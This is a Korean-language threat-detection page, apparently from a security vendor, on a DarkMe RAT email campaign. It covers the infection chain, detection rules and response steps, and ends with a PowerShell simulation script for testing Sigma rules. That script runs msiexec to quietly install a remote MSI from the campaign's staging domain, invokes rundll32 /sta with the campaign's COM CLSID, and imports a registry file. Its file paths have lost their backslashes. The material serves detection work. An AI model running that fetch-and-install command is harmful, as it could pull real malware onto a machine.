DarkMe 이메일 캠페인, APT RAT 공격의 타겟 확장
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
DarkMe 스파이-RAT을 전달하는 새로운 캠페인이 소프트웨어 취약점이 아닌 소셜 엔지니어링에 의존하는 것으로 관찰되었습니다. 공격자들은 이메일을 통해 .pif 파일을 배포하여 MSIEXEC와 여러 VB6 기반 로더를 포함하는 다단계 감염 체인을 시작합니다. 제로데이 익스플로잇에서 고용량 소셜 엔지니어링으로의 변화는 더 저렴하고 넓으며 선택적이지 않은 공격 방법으로의 전환을 시사합니다.
조사
Huntress는 Windows Installer를 실행해 원격 MSI 패키지를 가져오는 .pif 파일을 탐지한 후 이 캠페인을 식별했습니다. 분석 결과 prnfig.wsf라는 스테이징 스크립트, 레지스트리 가져오기 및 rundll32.exe /sta를 통한 COM 객체 실행을 포함하는 복잡한 다단계 체인이 발견되었습니다. 마지막 단계에서는 프로세스 할로잉을 사용하여 서명된 Microsoft 바이너리 clspack.exe.
에 DarkMe 페이로드를 주입합니다.
대응 방안 rundll32.exe 가 /sta 플래그와 함께 DLL 경로 없이 실행되는지를 모니터링해야 합니다. 보안 팀은 또한 원격 MSI 패키지를 HTTPS로 가져오는 msiexec 을 탐지하고 .pif 파일의 실행을 조사해야 합니다. 이상한 위치에서 실행되는 서명된 Microsoft 바이너리, 예를 들어 %AppData% ,에는 추가적인 검사가 필요합니다.
대응 조치
의심스러운 활동이 감지될 경우 즉시 영향을 받은 엔드포인트를 고립시켜 C2 통신을 차단하고 데이터 유출을 방지하세요. 할로잉된 clspack.exe 프로세스를 종료하고 %AppData%ComponentsFolder and %AppData%Microsoft에서 악성 아티팩트를 제거하세요. 사용자 지정 URL 프로토콜 핸들러와 HKCU Run 키로 생성된 지속성을 제거하세요. 영향을 받은 사용자 자격 증명을 재설정하고 로컬에 저장된 암호화폐 지갑을 잠재적으로 침해된 것으로 간주하세요.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
가능한 지속성 포인트 [ASEPs – Software/NTUSER Hive] (레지스트리 이벤트를 통해)
실행 파일의 비정상적 확장자 (프로세스 생성 통해)
LOLBAS WScript / CScript (프로세스 생성 통해)
원격 MSI 파일 설치 시도 가능성 (명령줄 통해)
비정상적인 최상위 도메인(TLD) DNS 요청을 통한 의심스러운 명령 및 제어 (DNS 통해)
탐지 할 IOCs (HashSha256): DarkMe 이메일 캠페인이 APT RAT를 위한 타겟 확대
탐지 할 IOCs (SourceIP): DarkMe 이메일 캠페인이 APT RAT를 위한 타겟 확대
탐지 할 IOCs (DestinationIP): DarkMe 이메일 캠페인이 APT RAT를 위한 타겟 확대
DarkMe RAT를 위한 C2 통신 및 스테이징 도메인 탐지 [Windows Network Connection]
악성 DarkMe RAT 캠페인 활동 탐지 [Windows Process Creation]
시뮬레이션 실행
-
공격 내러티브 및 명령: 적은 DarkMe RAT를 배포하여 지속성을 유지하려고 합니다. 서명 기반 탐지를 피하기 위해 공격자는
msiexec을 사용하여 손상된 도메인(onlineview365.com)에서 원격 페이로드를 가져옵니다. 초기 감염 후, 공격자는rundll32.exe을 사용하여 메모리에서 코드를 실행하기 위해 GUID를 통해 특정 COM 객체를 호출하고, 이후cmd.exe를 사용해 환경 준비를 위해 레지스트리 설정을 텍스트 파일에서 가져옵니다.wscript.exe기반의 페이로드 실행. -
회귀 테스트 스크립트:
# DarkMe RAT 시뮬레이션 스크립트 # 이 스크립트는 Sigma 규칙에 정의된 정확한 명령 라인을 시뮬레이션합니다. Write-Host "[+] DarkMe RAT 시뮬레이션 시작..." -ForegroundColor Cyan # 1. msiexec 원격 다운로드 시뮬레이션 Write-Host "[*] msiexec 원격 다운로드 시뮬레이션 중..." Start-Process msiexec.exe -ArgumentList "/i https://onlineview365.com/propi.msi /quiet /norestart" -ErrorAction SilentlyContinue # 2. rundll32 COM 객체 실행 시뮬레이션 Write-Host "[*] rundll32 COM 실행 시뮬레이션 중..." Start-Process rundll32.exe -ArgumentList "/sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}" -ErrorAction SilentlyContinue # 3. cmd.exe 레지스트리 가져오기 시뮬레이션 Write-Host "[*] cmd.exe 레지스트리 가져오기 시뮬레이션 중..." $tempFile = "$env:TEMPfiletext2.txt" "Windows Registry Editor Version 5.00`n[HKEY_CURRENT_USERSoftwareDarkMe]`n"Test"="Value"" | Out-File -FilePath $tempFile -Encoding ascii Start-Process cmd.exe -ArgumentList "/c reg.exe import ""$tempFile""" -Wait # 4. cmd/rundll32 부모 체인을 통한 wscript.exe 실행 시뮬레이션 Write-Host "[*] AppData에서 wscript.exe 실행 시뮬레이션 중..." $scriptPath = "$env:APPDATAmalicious_script.vbs" "WScript.Echo `"DarkMe Simulated`"" | Out-File -FilePath $scriptPath -Encoding ascii # 특정 부모/자식 규칙을 트리거하기 위해: # 부모: C:WindowsSysWOW64rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B} # 자식: wscript.exe %AppData%malicious_script.vbs Start-Process cmd.exe -ArgumentList "/c C:WindowsSysWOW64rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B} & wscript.exe ""$scriptPath""" -Wait Write-Host "[+] 시뮬레이션 완료." -ForegroundColor Green -
정리 명령:
# 시뮬레이션 아티팩트 정리 Write-Host "[+] 정리 중..." -ForegroundColor Yellow Remove-Item -Path "$env:TEMPfiletext2.txt" -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAmalicious_script.vbs" -ErrorAction SilentlyContinue Write-Host "[+] 정리 완료." -ForegroundColor Green